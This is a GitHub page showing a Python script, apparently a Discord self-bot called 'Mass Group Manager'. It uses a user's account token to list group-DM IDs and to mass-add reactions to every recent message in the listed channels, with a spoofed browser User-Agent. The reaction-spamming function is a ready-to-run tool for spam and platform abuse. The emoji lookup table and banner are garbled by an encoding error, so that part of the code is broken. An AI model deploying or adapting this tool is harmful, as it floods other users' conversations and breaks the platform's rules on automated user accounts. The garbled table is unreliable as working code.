-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
182 lines (154 loc) ยท 6.83 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import os
import sys
import colorama
import ctypes
import requests
import json
import time
alphabet_to_flag = {
'a': '๐ฆ', 'b': '๐ง', 'c': '๐จ', 'd': '๐ฉ', 'e': '๐ช', 'f': '๐ซ', 'g': '๐ฌ',
'h': '๐ญ', 'i': '๐ฎ', 'j': '๐ฏ', 'k': '๐ฐ', 'l': '๐ฑ', 'm': '๐ฒ', 'n': '๐ณ',
'o': '๐ด', 'p': '๐ต', 'q': '๐ถ', 'r': '๐ท', 's': '๐ธ', 't': '๐น', 'u': '๐บ',
'v': '๐ป', 'w': '๐ผ', 'x': '๐ฝ', 'y': '๐พ', 'z': '๐ฟ'
}
def logo():
if os.name == "nt":
ctypes.windll.kernel32.SetConsoleTitleW(f'[Mass Group Manager] | Ready for use <3')
print(f"""{colorama.Fore.RESET}{colorama.Fore.LIGHTMAGENTA_EX}
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
support
https://nekodesudx.github.io/aarr/
created by AARR
{colorama.Fore.LIGHTCYAN_EX}
[1] Clean unknown group IDs list
[2] Reaction spammer
[3] Exit
{colorama.Fore.RESET}
""")
def get_session(proxy=None):
session = requests.Session()
if proxy:
session.proxies = {"http": proxy, "https": proxy}
return session
def get_headers(session):
return {
"accept-language": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31"
}
def reactionput(token, channelid, messageid, emoji, proxy=None):
session = get_session(proxy)
headers = get_headers(session)
headers["Authorization"] = token
emoji = requests.utils.quote(emoji)
response = session.put(
f"https://discord.com/api/v9/channels/{channelid}/messages/{messageid}/reactions/{emoji}/%40me?location=Message&type=0",
headers=headers
)
if response.status_code in [200, 204]:
print(f"[+] Reaction '{emoji}' added successfully to message {messageid}")
elif response.status_code == 429:
print("[-] Rate limited. Please wait before retrying.")
retry_after = response.json().get("retry_after", 1)
time.sleep(retry_after)
elif response.status_code == 401:
print("[-] Invalid or expired token.")
else:
print(f"[!] Error occurred: {response.status_code}")
def fetch_messages(token, channelid, limit=100):
headers = {
"Authorization": token,
"accept-language": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31"
}
response = requests.get(
f"https://discord.com/api/v9/channels/{channelid}/messages?limit={limit}",
headers=headers
)
if response.status_code == 200:
return response.json()
else:
print(f"[!] Failed to fetch messages. HTTP Status Code: {response.status_code}")
return []
def reaction_spammer():
try:
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
except (FileNotFoundError, KeyError):
print(f"{colorama.Fore.RED} [!] Error: Config file or token not found!{colorama.Fore.RESET}")
return
try:
with open("channel.txt", "r") as channel_file:
channel_ids = [line.strip() for line in channel_file.readlines() if line.strip()]
except FileNotFoundError:
print(f"{colorama.Fore.RED} [!] Error: channel.txt file not found!{colorama.Fore.RESET}")
return
emoji_input = input("select your emoji (a, b, c, ... or custom emojis): ").strip()
delay = input("Delay between reactions (in seconds)?: ").strip()
try:
delay = float(delay)
if delay < 0:
raise ValueError
except ValueError:
print(f"{colorama.Fore.RED} [!] Invalid delay. Using default delay of 1 second.{colorama.Fore.RESET}")
delay = 1.0
emojis = []
for emoji in emoji_input.split(","):
emoji = emoji.strip().lower()
if emoji in alphabet_to_flag:
emojis.append(alphabet_to_flag[emoji])
else:
emojis.append(emoji)
if not emojis:
print(f"{colorama.Fore.RED} [!] No valid emojis provided!{colorama.Fore.RESET}")
return
for channel_id in channel_ids:
print(f"{colorama.Fore.LIGHTCYAN_EX}Processing channel {channel_id}...{colorama.Fore.RESET}")
messages = fetch_messages(token, channel_id, limit=100)
if not messages:
print(f"{colorama.Fore.RED} [!] No messages found in the channel or an error occurred.{colorama.Fore.RESET}")
continue
for message in messages:
for emoji in emojis:
reactionput(token, channel_id, message['id'], emoji)
time.sleep(delay)
def update_group_ids():
try:
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
except (FileNotFoundError, KeyError):
print(f"{colorama.Fore.RED} [!] Error: Config file or token not found!{colorama.Fore.RESET}")
return
headers = {
"Authorization": token,
"accept-language": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31"
}
response = requests.get('https://discord.com/api/v9/users/@me/channels', headers=headers)
if response.status_code == 200:
channels = response.json()
with open("group_id.txt", "w") as group_id_file:
for channel in channels:
if channel['type'] == 3:
group_id_file.write(channel['id'] + '\n')
print(f"{colorama.Fore.LIGHTGREEN_EX} [+] Group IDs updated successfully.{colorama.Fore.RESET}")
else:
print(f"{colorama.Fore.LIGHTRED_EX} [!] Failed to retrieve group IDs. HTTP Status Code: {response.status_code}{colorama.Fore.RESET}")
def main():
colorama.init()
while True:
logo()
option = input(f"{colorama.Fore.LIGHTMAGENTA_EX} [Final] Select an option from above: ")
if option == "1":
update_group_ids()
elif option == "2":
reaction_spammer()
elif option == "3":
print(f"{colorama.Fore.LIGHTGREEN_EX} [*] Exiting the application. Goodbye!{colorama.Fore.RESET}")
break
else:
print(f"{colorama.Fore.RED} [!] Invalid option selected!{colorama.Fore.RESET}")
input(f"{colorama.Fore.LIGHTCYAN_EX}Press Enter to return to the main menu...{colorama.Fore.RESET}")
if __name__ == "__main__":
main()